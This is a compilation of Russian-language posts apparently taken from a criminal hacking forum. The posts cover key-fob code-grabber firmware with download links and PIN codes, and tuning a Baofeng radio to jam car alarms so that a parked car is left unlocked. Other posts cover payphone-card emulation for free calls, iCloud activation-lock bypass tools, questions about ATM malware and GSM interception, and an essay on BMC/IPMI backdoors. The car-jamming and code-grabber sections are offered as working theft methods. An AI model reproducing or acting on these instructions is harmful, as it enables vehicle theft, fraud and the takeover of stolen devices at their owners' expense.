https://anonfiles.com/P2Baz993o6/PICkit_2_v2_Programmer_rar
Рекомендую использовать исключительно оригинальные брелки, чтобы избежать трудностей при перепрошивке.

Кодграббер в брелке Шерхан 7, 8, 9 (подойдет любой оригинальный брелок, кроме тех, у которых в серийном номере есть буквы)

Для прошивки потребуется программатор BSL, можно заказать с Алиэкспресса.
3.jpg
Распиновка брелка шерхан:
4.jpg
Как правило, новые брелки сейчас идут с защищенным от записи процессором.
Для этого нужно ознакомиться с инструкцией, как прошить защищенный процессор.
Инструкцию прилагаю.

Брелок прошивается через программу MSPfet.
Ссылка на программу: https://anonfiles.com/Za71z495o6/_rar

В архиве прошивка на 10 ячеек, пин код 123 и инструкция по прошивке защищенного процессора.

Данный кодграббер работает с модуляцией FM

https://anonfiles.com/P2Baz993o6/PICkit_2_v2_Programmer_rar

Для прошивки потребуется программатор J-Link, можно также заказать с Алиэкспресс.
5.jpg
Распиновка программатора и брелка:
6.jpg
Программу для прошивки, саму прошивку, инструкцию и список поддержки прилагаю.

Программа для прошивки брелка и для программатора: https://anonfiles.com/h18dzb99oe/_D605_rar

Пин код на включение 465645

Данный кодграббер работает в AM-FM модуляции, также со штатными системами и шлагбаумами.

Кодграббер максимальный

Для создания данного кодграббера придется приложить руки.
Так как обычной перепрошивкой процессора здесь не обойтись.

В архиве приложу фотографии сборки, печатные платы в формате lay, прошивку.
Кодграббер можно собрать как на проводах, так и на плате.

Схема сборки:

Прошивается программатором PicKit 2.

Ссылка на архив максималки: https://anonfiles.com/r2z5z593o5/Maximalka_rar

Данный кодграббер работает в AM-FM модуляции, так же со штатными системами, и в режиме код подмены.

Пользуйтесь на здоровье, ни какого обмана, все прошивки рабочие.
Возможности любого из этих кодграбберов вы можете легко найти в ютубе.

https://anonfiles.com/TfA6z59eoc/_D605_rar

Рация Baofeng UV-5R.
Бюджетная рация, которую можно приобрести с Алиэкспресс.

Данная рация полезна тем, что можно прослушивать мусоров, если они общаются в аналоговом диапазоне.
И она полезна тем, что можно глушить сигнализации автомобилей.
Допустим, когда заводишь с кодграббера, чтобы владельцу не пришла обратка, глушишь рацией.
Либо заглушить штатную сигнализацию.
Ситуация: автомобиль подъехал к торговому центру, выходит владелец, ты глушишь, он этого не замечает и уходит. Автомобиль остается открытым.
Важное условие, чтобы сигнализация и рация были на одной частоте.

Большинство сигнализаций настроено на частоту 433,92, диалоговые старлайны по разному, встречал на 434,15.
Диаппазон частот у данной рации ограничен, но частоты указанные выше, попадают в её рабочий диаппазон.

Для того, чтобы полноценно использовать рацию в качестве глушилки, необходимо настроить следующие параметры:

TXP - HIGH
WN - WIDE
TOT - 600
BCL - OFF

ATM malware via wi-fi
ID: 676535aeb4103b69df373659
Thread ID: 44823
Created: 2020-11-26T05:44:09+0000
Last Post: 2021-04-25T10:53:20+0000
Author: acide
Replies: 21 Views: 7K

Подскажите кто знает.

Один чел говорит что у него модифицированный winpot atm malware. И может на дистанции взломат банкомат без подключения к кабелям или USB порту. Типа через wi-fi или что там еще.

Возможно ли вообще такое?

Перехват данных с БС
ID: 676535aeb4103b69df373695
Thread ID: 30579
Created: 2019-07-23T08:58:51+0000
Last Post: 2019-10-23T21:55:45+0000
Author: n0s1s
Prefix: GSM
Replies: 20 Views: 7K

Есть ли способы перехватить трафик с этих пожилых мадмуазелей(базовых станций операторов сотовой связи)?
Какой тип шифрования использует, как вклиниться в поток?
Нужна вся инфа касательно них.

Делаем вместе лазер!
ID: 676535aeb4103b69df3736b6
Thread ID: 16447
Created: 2008-12-05T11:50:30+0000
Last Post: 2015-02-03T13:44:50+0000
Author: 4NT1P0V
Replies: 16 Views: 7K

:screenshot: Скриншот|Screenshot
:screenshot: Скриншот|Screenshot
:screenshot: Скриншот|Screenshot
:screenshot: Скриншот|Screenshot

Как в фантастическом фильме – нажимаешь на курок и взрывается шар! Научись делать такой лазер!

Сделать такой лазер можно самому, в домашних условиях из DVD привода - не обязательно рабочего. Ничего сложного нет!
Поджигает спички, лопает воздушные шарики, режет пакеты и изоленту и многое другое :)
Ещё им можно лопнуть шарик или лампочку в доме напротив :-D

**В архиве - видео с лазером в действии и подробная русская инструкция с картинками по его изготовлению!
**Информация о программе
Размер: 10 МБ

letitbit
скачать
depositfiles
скачать
rapidshare
скачать

Посмотреть на Youtube
http://ru.youtube.com/watch?v=pSEuzxsQpuA

Эмулируем таксофонную карточку.
ID: 676535aeb4103b69df3736ed
Thread ID: 3584
Created: 2005-04-22T15:11:55+0000
Last Post: 2006-05-18T01:30:23+0000
Author: s3po
Replies: 10 Views: 7K

Представь себе ситуацию: тебе надо срочно позвонить подруге, чтобы сказать ей какая она мега гирла и в таком духе и аккуратно намекнуть, то, что родоки свалили куда нить на несколько дней и ты не прочь обучить ее навыкам работы с компьютером наедине ;-)) Соткой ты по причине финансовой недостаточности еще не успел позвонить, а денег на телефонную карту нету ;-( Не расстраивайся - ведь у тебя же есть Х! Сейчас ты узнаешь о том, как не платить нашей родимой МГТС и звонить на халяву через таксофоны.

Немного теории:
Существует 2 наиболее распространенных вида карточек. Это Afnor и ISO. Первый тип карточек юзается за бугром (вообще-то это тот же ИСО, приклеенный для хитрости вверх ногами :), а в России соответственно юзается ISO. На всякий случай привожу схемы обоих типов карт (мало ли!).

PINOUT (Обозначение выводов):
1: Vcc = 5V
2: R/W
3: Clock 7: I/O
4: RAS 8: Fus
5: Gnd
6: Vpp = 21V

С теорией мы немного ознакомились, теперь пора переходить к действиям! Для всей этой операции нам понадобятся: Мозги, руки, комп в рабочем состоянии, устройство для считывания карточек.

Итак, начнем рассматривать все по порядку.

Устройство для считывания карточек.
На всякий случай приведу здесь раскладку порта принтера.

Pin In/Out Signal Name
--- ------ ------------
1 I/O -STROBE
2 I/O Data Bit 0
3 I/O Data Bit 1
4 I/O Data Bit 2
5 I/O Data Bit 3
6 I/O Data Bit 4
7 I/O Data Bit 5
8 I/O Data Bit 6
9 I/O Data Bit 7
10 I -ACK
11 I BUSY
12 I PE
13 I SLCT
14 O -AUTO FEED XT
15 I -ERROR
16 O -INIT
17 O -SLCT IN
18 N/A Ground
19 N/A Ground
20 N/A Ground
21 N/A Ground
22 N/A Ground
23 N/A Ground
24 N/A Ground
25 N/A Ground

Для того, чтобы инфа с карточки считалась тебе на комп, тебе необходимо будет откомпилить в сишнике прогу reader.c. Эта прога считывает карточки и создает по ним базу данных (у каждой карточки есть срок годности - 1 год. Поэтому надо периодически обновлять базу данных!)

Для эмулирования карточки, необходим чип PIC16F84 или PIC16F83. Русские аналоги, по причине их глючности использовать не рекомендуется! Схема чипа - pic16c84.bmp, а подключать его необходимо по схеме emulator.bmp.

Для тех, кому мало этих сведений, смотри дополнительное описание pic16c84.txt (DOS ака KOИ-8 кодировка).

Сделал? можешь пойти попить кефира (пиво еще рано!) Теперь будем заниматься программатором карточки. В принципе его можно откопать на Mitino BaZaR рублей этак за 300 (если конечно откопаешь), или собрать самому (это тебе обойдется рублей 100).Вот тебе схема программатора - programator.bmp. Все эти файлы находяться вот здесь. Если уж ты сам в электронике не сечешь, поищи друга, разбирающегося в этом. Ну и соответственно описание по программатору:

Разъём COM-порта 25 штырьковый или 9-штырьковый, оба варианта приведены на схеме. Все диоды малогабаритные кремниевые, например КД522. С транзисторами тоже можно проиграться... Светодиод двухцветный или два обычных, зелёный индицирует наличие питания (и создаёт нужную вольтодобавку для питания Upp), а красный наличие напряжения Udd (подачу сигналов на программатор). Можно вообще отказаться от красного светодиода и убрать соответствующий резистор, правда, тогда можно не заметить, что программатор не подключен к компьютеру ;) Крайне не рекомендуется использовать "обычные" стабилизаторы напряжения 7805, 7812, 142ЕH5А, 142ЕH8Б: они потр**ляют слишком большой ток...

Допускается изменение в номиналах резисторов и конденсаторов до 30%. Только рабочее напряжение электролитов должно быть не меньше указанного. Длина кабеля не очень критична. "Земля" указана условная, только для упрощения схемы! "Настоящая" линия GND компьютера находится на выводе SG разъёма COM порта.

P.S. Конечно это все кульно, но есть одно НО. В каждом таксофоне установлен модем, который каждую ночь звонит на станцию и сообщает, кто и куда звонил, номер карточки и сколько на ней было единиц. Чел, который очень помог мне в написании этой статьи, еще не знал этого, за что ему влепили 3 года условно.

Так что будь крайне осторожен!

Все файлы кину на мыло, если надо тогда стучите в асю или в этой теме.

Хактивация! Обход активации iсloud
ID: 676535aeb4103b69df373554
Thread ID: 91846
Created: 2023-07-01T20:37:41+0000
Last Post: 2024-09-29T11:35:36+0000
Author: Gufi
Prefix: Статья
Replies: 23 Views: 6K

Содержание:​

1.Вступление
-Проблема активации Icloud
-Хронология обхода активации Icloud
-На каких устройствах это возможно сделать

2.Установка Jailbreak
-Подготовка и проверка системы
-Создание загрузочной флешки с джейлбрейком
-Установка jailbreak
-Краткая экскурсия по инструменту cydia

3.Процесс обхода активации Icloud
-Разбор и подбор инструментов для хактивации
-Использование инструментов для хактивации

4.Что нужно знать после обхода Icloud
-Слетела прошивка! Как этого избежать?
-Проблемы с новыми входами в Apple id
-Проблемы с SIM картой и покрытием

5.Итоги

Вступление
Проблема активации Icloud​

Всем привет , сегодня мы разберем все способы обхода активации icloud (хактивация).
Для начала разберемся что такое хактивация: припустим у вас украли apple id или icloud и заблокировали вам телефон.
После перепрошивки мы запускаем и настраиваем заново девайс и видим такую картину:
1688242062865.png
Но пароля мы не знаем(
Это значит что если мы незнаем пароля , у нас единственный шанс спасти девайс – провести “хактивацию”

Блокировка активации iCloud на iOS - это не та функция, которая вам всегда нужна, но это действительно очень полезная функция для защиты личной информации, когда ваш iPhone потерян или украден. С помощью блокировки активации iCloud владельцы iPhone могут включить функцию «Найти мой iPhone» и заблокировать iPhone / iPad с помощью учетной записи Apple ID владельцев.
Если вы хотите войти в iPhone, вам нужно получить оригинальный Apple ID и пароль для активации iPhone.
Хотя блокировка активации значительно повысила безопасность iPhone / iPad, есть еще один существенный недостаток. Для тех, кто покупает подержанный iPhone или iPad на eBay или у ваших друзей без разблокировки iCloud Activation, это может быть очень сложно обойти активацию iCloud. Так как же обойти активацию iCloud на iPhone?

В общем “хактивация” – это процесс обхода Icloud Activation Lock ,который возникает после перепрошивки устройства на котором привязан Icloud или после отключения режима потери девайса.

Хронология обхода активации Icloud​

Некоторые сервисы используют знания в сфере разблокировки устройств Apple и делают услугу разблокировки устройства на заказ за денюжку.
Возможность обхода активации Icloud зависит от версии iOS и наличия Jailbreak.
Процесс обхода активации iCloud состоит из таких этапов:

-Подготовка девайса (Сохранение бекапов важных данных)​

-Выбор джейлбрейка и софта для обхода активации​

-Установка джейлбрейка​

-Обход активации iCloud​

На каких устройствах это возможно сделать​

Блокировка Icloud почти во всех случаях происходит на iPhone и iPad.
Сперва разберемся какая у нас версия ios на девайсе , для этого мы будем использовать инструмент 3utools.
Cкачать 3utools: https://url.3u.com/zmAJjyaa

После запуска инструмента подключаем устройство к пк.
Если устройство не подключилось:
1688242400672.png
-Установите драйвера, нажмите на кнопку “Исправить драйвер”
-Проверьте USB кабель и порт к котором подключен девайс
После удачого подключения мы видим такой интерфейс с информацией об устройстве:
1688242419894.png
Далее исходя из версии iOS мы будем выбирать рабочий джейлбрейк и софт для обхода активации Icloud.

Установка Jailbreak
Подготовка и проверка системы​

Для проверки наличия Jailbreak на вашую версию IOS, переходим на сайт https://ipsw.guru/jailbreak/
1688242435039.png
Выбираем:
-Устройство
-Модель устройства
-Версию iOS

Сервис выдаст нам Jailbreak который нам подойдет , информацию об нем и источник где можно его скачать.
Или с помощью инструмента 3utools:
-Подключаем устройство к пк и заходим в главное меню 3utools.
1688242489429.png

-Кликаем в нижней панели на “Jailbreak”
Теперь софтина покажет нам какие jailbreak есть на нашу систему и предоставит файлы для скачивания.

Создание загрузочной флешки с Jailbreak-ом​

Одним из известных инструментов для процесса jailbreak является Checkra1n.
Checkra1n - это инструмент для производства jailbreak, который работает на устройствах с процессором A5-A11.
Мы будем использовать именно его, потому что он работает почти на всех версиях iOS , он стабильный и он очень легкий в установке.

Установка происходит так:
-Мы загружаем iso образ инструмента Cheakrain
-Через инструмент Rufus записываем iso образ на флешку
-Запускаемся с флешки

Сперва нам нужно флешку (подойдет даже на 2-4гб)
Далее скачиваем с сайта iso образ https://github.com/asineth0/checkn1x/releases
Скачиваем инструмент Rufus https://rufus.ie/ru/
Теперь вставляем флешку в пк и открываем инструмент Rufus:
Форматируем накопитель и переходим в раздел выбора накопителя и iso образа.
1688243107683.png
Выбираем накопитель и iso образ Cheakrain.

После удачной записи , мы можем вынуть флешку и запустится с нее через boot режим.
Для входа в boot режим , нам надо вставить флешку в пк и параллельно с запуском пк нажимать определённую клавишу до того момента пока он не войдет в boot режим.
Клавиши входа в boot режим а разных устройствах:

Установка jailbreak​

После того как мы запустились с системы которая установлена на флешке , мы можем увидеть такую картину:
1688243132902.png
Теперь подключаем устройство а которое будем устанавливать jailbreak к пк.

И нажимаем кнопку ”Start”
Теперь нам нужно ввести устройство в режим DFU и кликаем “Start”.
Теперь после этого устройство перегрузится и мы получим уже готовый девайс c джейлбрейком!

Краткая экскурсия по инструменту cydia​

(Если устройство заблокировано Icloud-ом , тогда мы не сможем пользоваться приложениями установленными на нем , но после обхода активации iCloud , мы сможем использовать девайс как новый)

Cydia - это альтернативный магазин приложений для устройств с прошивкой jailbreak. Он предоставляет возможность устанавливать приложения, твики (модификации) и расширения, которые не доступны в официальном App Store.

Краткая экскурсия по использованию Cydia:
После установки jailbreak и запуска Cydia на вашем устройстве, вы увидите главный экран Cydia с различными вкладками.
На вкладке "Home" (Главная) вы найдете рекомендуемые и популярные приложения и твики. Здесь вы можете найти интересные приложения для установки.
Вкладка "Sections" (Разделы) предлагает категоризированный список приложений и твиков. Вы можете искать в нужных разделах для нахождения приложений по категориям, таким как Темы, Улучшения интерфейса, Инструменты и другие.
Если вы знаете название определенного приложения или твика, вы можете воспользоваться поиском, который находится внизу главного экрана Cydia. Введите название и найдите его в результате поиска.
После выбора приложения или твика, вы увидите страницу с описанием, обзорами, версиями и другой полезной информацией. Нажмите на кнопку "Install" (Установить) или "Purchase" (Купить), чтобы начать процесс установки.
Когда установка завершится, приложение или твик будет доступно на вашем устройстве. Некоторые приложения и твики могут требовать настройки или активацию. Обратитесь к документации или инструкции разработчика для получения дополнительной информации.
Вы также можете управлять установленными приложениями и твиками в разделе "Installed" (Установленные). Здесь вы можете просматривать, обновлять или удалять приложения и твики.

Процесс обхода активации Icloud
Разбор и подбор инструментов для хактивации​

Теперь мы имеем готовое устройство к процедуре обхода активации, зависимо от версии iOS мы будем искать подходящий софт.

Версию iOS мы можем узнать с помощью инструмента 3utools:
-Открываем инструмент 3utools
-Подключаем устройство к пк
В главном меню мы увидим версию iOS которая установлена на устройстве.
1688243189514.png

В нашем случае мы будем использовать несколько популярных инструментов:

FRP iCloud Bypass Tool
1688243395579.png
Этот инструмент работает с iOS 12 – 13.4

У него есть функция обхода ICloud на iOS 12.3-13.2.3 (с риском не работающей SIM и без возможности входа в apple id)
И обхода ICloud на iOS 13.3-13.4 c фиксом всех упомянутых проблем после хактивации.
Скачать: https://anonfiles.com/7dM6d3zdzd/FRPFILE_iCloud_Bypass_tool_v2_1_zip

iRemove Tools
Версии iOS c которыми работает этот инструмент:
1688243428991.png
Также некоторые версии iOS не требуют наличия jailbreak.
Скачать: https://anonfiles.com/Lf58qbzez7/iRemoveTools_6_2_6_win_zip

Использование инструментов для хактивации​

FRP iCloud Bypass Tool

-Подключаем девайс к ПК (установите драйвера заранее, это можно сделать с помощью инструмента 3utools)
-Открываем инструмент (iOS13iCloudBypass.exe)
1688243450746.png
Тут мы увидим два сценария обхода активации iCloud:
Обход активации iCloud на устройствах с iOS 12.3 – 13.2.3 (возможен риск проблем со входом в Apple id и SIM картой)
Обход активации iCloud на устройствах с iOS 13.3 – 13.4 (с фиксом проблем)
(Исходя из нашей версии iOS , кликаем на подходящий нам вариант)

Теперь наше устройство перезагрузится , и мы увидим начальный экран iphone/ipad, поздравляю! Вы воскресили кирпич!

iRemove Tools
-Устанавливаем iTunes (https://www.apple.com/ua/itunes/)
-Открываем инструмент (iRemove Tools.exe)
-Подключаем устройство к пк

После подключения мы увидим такую картину:
1688243483339.png

Инструмент выдаст нам информацию про девайс и про его iOS.
(Также инструмент проверит наличие Jailbreak и предоставит мануал по его установке)
Теперь нажимаем кнопку “Start”
Теперь наше устройство перезагрузится , и мы увидим начальный экран iphone/ipad, поздравляю! Вы воскресили кирпич!

Что нужно знать после обхода Icloud
Слетела прошивка! Как этого избежать?​

Самая распространенная проблема после хактивации – это сбой прошивки или той самой активации после перезагрузки или отката устройства к заводским настройкам.

Важно помнить что некоторые джейлбрейки работают только до перезагрузки, так что после перезагрузки он может слететь , и вы не сможете юзать его функции и инструмент cydia. Но после сбоя джейлбрейка в 80% случаях устройство будет работать корректно , то есть не требуется снова проводить хактивацию.
В случае с откатом устройства до заводских настроек могут быть проблемы со восстановлением системе к адекватной роботе , то есть возможен риск того что устройство снова захочет вводить iCloud. Чтобы этого избежать , перечитывайте имеют ли инструменты которыми вы проводите хактивацию или джейлбрейк функцию патча этой проблемы.
В худшем случае когда вы опять увидели экран ввода кредов от iCloud, повторяйте все манипуляции для обхода активации, установка джейлбрейка и хактивация с помощью подходящего инструмента.
Чтобы избежать всех выше упомянутых проблем , изучайте инструменты и мануалы по их использованию , имеют ли они защиту от таких нюансов.

Проблемы с новыми входами в Apple id​

После успешного обхода активации iCloud есть несколько важных вещей, о которых нужно помнить:
Apple ID и новые входы: После обхода активации iCloud вы все еще можете столкнуться с проблемами при попытке войти в Apple ID на устройстве. Некоторые функции, такие как скачивание приложений из App Store или использование некоторых сервисов Apple, могут быть недоступными. Это связано с тем, что обход активации iCloud является нарушением политики безопасности Apple, и они принимают меры для предотвращения несанкционированного доступа.
Эта проблема может возникнуть при использовании инструментов которые не имеют возможности полной перепрошивки девайса.

Проблемы с SIM картой и покрытием​

После процесса “хактивации” мы можем заметить одну проблему – девайс не видит sim карту , это связано перепрошивкой или защитой apple от обхода активации iCloud.
Чтобы избежать этой проблемы , перечитывайте мануалы по использованию инструментов для хактивации.

Итоги​

Во-первых, мы осознали, что проблема активации iсloud является актуальной и интересной для многих пользователей. Отслеживая хронологию развития методов обхода активации iсloud, становится понятно, что данная тема постоянно развивается и изменяется.

Во-вторых, мы выяснили, что обход активации iсloud возможен на определенных устройствах. В основном это старые модели iPhone и iPad, которые имеют уязвимости, позволяющие осуществить процесс хактивации. Однако, важно отметить, что процедура обхода активации является нарушением политики Apple и может привести к ограничениям и проблемам в дальнейшем использовании устройства.

В третьем разделе мы подробно рассмотрели процесс установки Jailbreak и его роль в хактивации iсloud. Мы ознакомились с шагами подготовки и проверки системы, создания загрузочной флешки с джейлбрейком и процессом самой установки. Также мы предоставили краткую экскурсию по инструменту Cydia, который является своеобразным центром приложений для устройств с джейлбрейком.

В разделе "Процесс обхода активации iсloud" мы описали основные шаги, которые необходимо предпринять для успешной хактивации. Мы рассмотрели различные инструменты, используемые при обходе активации iсloud, и описали их функциональность и возможности. Важно отметить, что хактивация iсloud может быть сложной процедурой, требующей определенных знаний и навыков, и должна быть осуществлена с осторожностью.

В разделе "Что нужно знать после обхода iсloud" мы обратили внимание на потенциальные проблемы, с которыми пользователь может столкнуться после успешной хактивации. Мы описали, как избежать сброса прошивки, которая может возникнуть в результате неправильных действий или обновлений. Также мы указали на возможные проблемы с новыми входами в Apple ID и проблемы с SIM-картой и покрытием, которые могут возникнуть после хактивации.
(Надеюсь моя статья многим помогла спасти свой девайс или открыть небольшой сервис)

Автор: Gufi
Сделано специально для xss.is!

Яндекс станция - слушает ли?
ID: 676535aeb4103b69df37357b
Thread ID: 108544
Created: 2024-02-18T18:55:21+0000
Last Post: 2024-04-13T12:11:45+0000
Author: ThorZirael
Replies: 60 Views: 6K

Попадались неоднократно посты о том что умные станции Яндекс все передают и стали опорой уже не одной тысячи уголовных делю

Spoiler: Изображение

Screenshot_27.png
photo_2024-01-11_16-54-43.jpg

Суть в том, попадались ли вам реальные кейсы с реестра уголовных дел, или что- то около того, где в деле лежали +- протоколы / распечатки. Какие-то пруфы попадались кому-то? Или кто-то достоверно мб слышал что про это.

Знаю Яндекс все-все хранит и передает по запросу, но вот подпадает ли этот случай?

BMC/IPMI/IP-KVM: удобное управление сервером или "железный" бэкдор. [ОСТОРОЖНО, 25 МБ КАРТИНОК!]
ID: 676535aeb4103b69df373580
Thread ID: 94447
Created: 2023-07-31T18:24:25+0000
Last Post: 2024-03-17T17:39:03+0000
Author: Dread Pirate Roberts
Prefix: Статья
Replies: 66 Views: 6K

в основном все статьи про удалённое управление серверами заполнены маркетинговым буллщитом и минимумом реально полезной информации, я постараюсь объяснить, что это и зачем, с точки зрения хакера, а также добавлю некоторые технические подробности, которых или в принципе нигде нет, или которые нужно собирать по крупицам по всему Интернету.

0. we need to go deeper

а точнее, ликбез, что такое BMC ( https://en.wikipedia.org/wiki/Baseboard_Management_Controller )

BMC ("baseboard management controller") - это отдельный процессор (преимущественно ARM) на материнской плате сервера, со своей собственной оперативной памятью и хранилищем, своим отдельным сетевым портом RJ45 и своей операционной системой (преимущественно Linux). по сути это отдельный маленький сервер, установленный внутри каждого "большого" сервера, как будто вы засунули Raspberry Pi в свой системный блок, но с одним нюансом: уровень доступа BMC к серверу - безграничный, в отличие от какой-нибудь внешней малины.
BMC подключён (имеет доступ к) почти ко всем компонентам сервера - по линиям PCI(e), USB, I2C, SMBUS, и иногда даже имеет прямой доступ к оперативной памяти сервера (DMA).

блок-схема от Интеля:

bmc_intel_diagram.jpg

чуть более подробная блок-схема от Супермикры:

bmc_supermicro_diagram.jpg

ещё чуть подробнее:

bmc_supermicro_diagram.png

BMC работает постоянно, даже когда "основной" сервер выключен. BMC имеет доступ к сети (обычно через собственный сетевой порт, но иногда делит один из портов материнки с "основной" операционной системой), и предоставляет удалённое управление сервером по протоколу IPMI ( https://ru.wikipedia.org/wiki/Intelligent_Platform_Management_Interface ). BMC запускает несколько сетевых служб - SSH, telnet, даже вебсервер, и некоторые другие. обычно к BMC подключаются через web GUI браузером.

BMC умеет:
- собирать и показывать пользователю информацию о сервере (модели процессоров, оперативы и другого железа, состояние хардов, установленные платы PCI, данные с сенсоров, потребляемую мощность, и многое другое);
- управлять питанием сервера (включать-выключать, нажимать кнопку Reset);
- обновлять прошивку BIOS/UEFI;
- и самый полезный для клиентов хостинга функционал - предоставлять доступ к клавиатуре, мыши, и экрану сервера через Интернет, как будто вы находитесь прямо перед сервером. вдобавок ещё можно подключать .iso файл с локального компьютера или качать из Интернета (смотри скрины ниже) как будто втыкаешь реальную USB флешку в сервер, и таким образом устанавливать любую операционную систему по своему усмотрению (или грузиться с LiveCD для восстановления убитой системы). выходит, что это - аналог внешней железки IP-KVM, только встроенный в сервер и не требующий подключения к серверу лишних проводов.

IPMI - это название протокола по управлению сервером через интернет, по этому протоколу подключаются к чипу BMC и отправляют ему всякие команды.
так как обычно пользователи из всего функционала IPMI используют только функцию IP-KVM, то эти понятия стали практически взаимозаменяемы: "IPMI = IP- KVM". говоря "IPMI" обычно подразумевают не сам протокол, а именно удалённый доступ типа IP-KVM к серверу через чип BMC, и если хостер в описании дедика пишет "есть IPMI" - это значит, что вы сможете загрузить на сервер свой .iso образ через интернет и установить операционную систему с нуля, а не использовать предустановленную хостером систему из его мутного образа с троянами и бэкдорами.
"прошивка IPMI", или "прошивка BMC" - это тот самый линукс, который запущен на процессоре BMC, использует оперативу BMC, и записывается на флеш память этого BMC.

IP-KVM здорового человека: встроен в сервер

ip-kvm-idrac.jpg

IP-KVM курильщика: пачка USB+VGA кабелей втыкается одной стороной в сервер, другой в специальную стоечную коробку, а стоечная коробка расшаривает сигнал с этих кабелей в Интернет. то есть клиенты хостинга подключаются не напрямую к своему (арендованному) серверу, а к этой коробке.

ip-kvm_cable.jpg

ip-kvm_rack.png

почему я назвал статью "бэкдором"? если это не очевидно, повторю ещё раз: в вашем сервере стоит дополнительный постоянно работающий сервер с собственной ОС с закрытым исходным кодом, он подключён ко всем элементам материнки, и имеет собственный доступ в Интернет. ничто не мешает ему записывать все нажатия клавиш, которые вы делаете в web GUI, и видеопоток, который вы видите в web GUI, и отправлять эти данные "куда следует", или показывать сохранённые данные при заходе в web GUI со специального дебаг аккаунта, "случайно забытого" в релизной версии прошивки. в некоторых серверах, например HP, BMC имеет прямой доступ к оперативной памяти сервера, и может читать и изменять память незаметно для операционной системы, установленной на сервере ( https://github.com/Synacktiv-contrib/pcileech_hpilo4_service )
никак иначе, кроме как железным бэкдором, подобный функционал назвать невозможно.
внешний IP-KVM, в отличие от BMC/IPMI, подключается к вашему серверу только тогда, когда это нужно (когда вы попросите админов датацентра его подключить). с другой стороны, при использовании внешнего устройства IP-KVM админы датацентра уже точно могут видеть видеопоток с вашего сервера и все ваши нажатия клавиш.

trump_bad.jpg

что из этого лучше с точки зрения информационной безопасности - встроенный или внешний IP-KVM доступ - каждый для себя решает сам.

ладно, хватит о грустном, теперь о хорошем: для домашнего использования IPMI - это восхитительная технология, очень рекомендую. я управляю всем своим парком компов удалённо - с ноутбука по вайфаю, лёжа на диване, или через интернет, будучи не дома и подключаясь к домашнему роутеру через VPN.
можно собрать обычный домашний комп на серверной материнке бренда Supermicro*, потому что они поддерживают обычные десктопные комплектующие - ATX блоки питания, четырёхпиновые кулеры, и так далее, и поддерживают работу с не-ECC оперативной памятью. также многие их материнки имеют стандартный десктопный форм-фактор, в отличие от какого-нибудь Dell или HP, где все разъёмы проприетарные (даже под кулеры), и материнки нестандартных форм и размеров, которые невозможно установить в обычный десктопный корпус типа tower.

приведу немного примеров веб-гуя от BMC самых часто используемых в продакшоне серверов - Dell "iDRAC", HP "iLO", и Supermicro "BMC IPMI" (нет своего брендированного названия), и самой часто используемой функции в веб-гуе BMC - загрузка удалённого сервера с файла .iso на локальном компьютере.

Supermicro:

supermicro_web_1.png

supermicro_web_2.png

supermicro_web_3.png

supermicro_web_4.png

supermicro_web_5.png

supermicro_web_6.png

supermicro_web_7.png

Dell iDRAC:

dell_web_1.png

dell_web_2.png

dell_web_3.png

dell_web_4.png

dell_web_5.png

dell_web_6.png

HP iLO 4:

hp_web_1.png

hp_web_2.png

hp_web_3.png

hp_web_4.png

hp_web_5.png

hp_web_6.png

скриншоты другого функционала, что ещё может среднестатистический BMC/IPMI, вы можете посмотреть вот тут: <https://www.thomas- krenn.com/en/wiki/ASPEED_AST2400_IPMI_Chip_with_ATEN-Software>

кстати, у вас в компе тоже есть аналог BMC, у которого тоже свой процессор, оператива, и доступ в Интернет. этот аналог называется "PCH ", или "чипсет ", но удалённый доступ к нему (по сути к вашему компьютеру) есть только у Intel и у NSA :)
однако к некоторым компьютерам и ноутбукам "бизнес" серии Intel даёт удалённый доступ ещё и юзеру - посмотрите, есть ли у вас на наклейке от интеля слово "vPro" и гуглите "Intel AMT". но даже если на наклейке нет слова "vPro", и даже если на сайте ark.intel.com в описании вашего процессора указано, что поддержки vPro/AMT нет, то это ещё не значит, что её на самом деле нет :) во многих процессорах этот функционал есть, но программно выключен, и его можно включить с помощью тулзы "amtactivator".

harold_thumbsup.jpg

подробностей насчёт AMD не знаю, не работал с этими процами.

самый большой минус (или плюс? ;) ) BMC состоит в том, что производители серверов не шифруют прошивку на флеш чипе, благодаря чему прошивку можно достать программатором, заразить своим добром, и залить обратно на чип. конечно, для этого необходим физический доступ к серверу, но ведь у сотрудников датацентра, где стоит ваш сервер, этот доступ и так есть :)

а вот образ прошивки для обновления через web GUI производители шифруют кто во что горазд: некоторые простым AES со вшитым в этот же самый файл ключом (то есть ключ можно достать из прошивки, изменить прошивку, и правильно зашифровать получившийся файл тем же ключом), некоторые не шифруют, но подписывают с помощью RSA или PGP, с приватным ключом, зашитым в сам процессор BMC (то есть распаковать прошивку для изучения содержимого получится, но добавить в неё своё добро и залить через web GUI уже нет), а некоторые особо упоротые производители [из Гуандуна] в качестве прошивки дают нераспаковываемое нерасшифровываемое бинарное месиво (видимо, им есть, что скрывать :) )

перефразирую: в зависимости от бренда сервера, добавление своего добра в оригинальный файл обновления прошивки для заливки его в BMC через web GUI - это задача от не очень простой до чрезвычайно сложной.

1. hard pr0n

а точнее, подробности о "железе" BMC. фотки специально старался резать криво, чтобы вотермарк XSS не закрывал модели чипов.

сервера бренда HP:

в старых серверах (< gen8) использовалась дополнительная плата с сетевым портом RJ45 для удалённого подключения к BMC, в современных серверах (gen8+) сетевой порт BMC встроен в материнку или BMC делит один из портов с "основной" операционной системой сервера.

используются чипы BMC собственной разработки, называются "iLO" от "integrated Lights-Out", актуальные версии - iLO4 и iLO5.
в 8 поколении серверов на чипе iLO4 указана модель "610107-002" или "531510-003", в серверах 9го поколения используется чип iLO4 "531510-004", обе модели включают в себя одно ядро ARM926EJ 400 MHz архитектуры ARMv5.
серверов 10 и 11 поколения с BMC iLO5 у меня под рукой нет, но гугл говорит, что там используется чип "815393-001-B1", включающий в себя одно ядро ARM Cortex-A9 (800 MHz?) архитектуры ARMv7.

hp_chips1.jpg

в отличие от серверов других брендов, вместо нормального человеческого линукса на BMC серверов HP запущена RTOS "GreenHills Integrity" https://www.ghs.com/products/rtos/integrity.html

в моём тестовом экземпляре HP gen9 чипу BMC доступно 256 MB (2 Gbit) оперативы Hynix H5TC2G63GFR-PBA 256 MB (2 Gbit)

hp_chips2.jpg

и 4 GB (32 Gbit) хранилища eMMC Hynix H26M31001HPR. гугл говорит, что в серверах HP gen 10 хранилище тоже объёмом 4 гигабайта.
BIOS/UEFI записан на 25-ый SPI чип MXIC 25L12835F, а также какой-то кусок прошивки BMC записан на такой же SPI чип, стоящий рядом. что именно там хранится - не знаю, ещё не разбирал.

hp_chips3.jpg

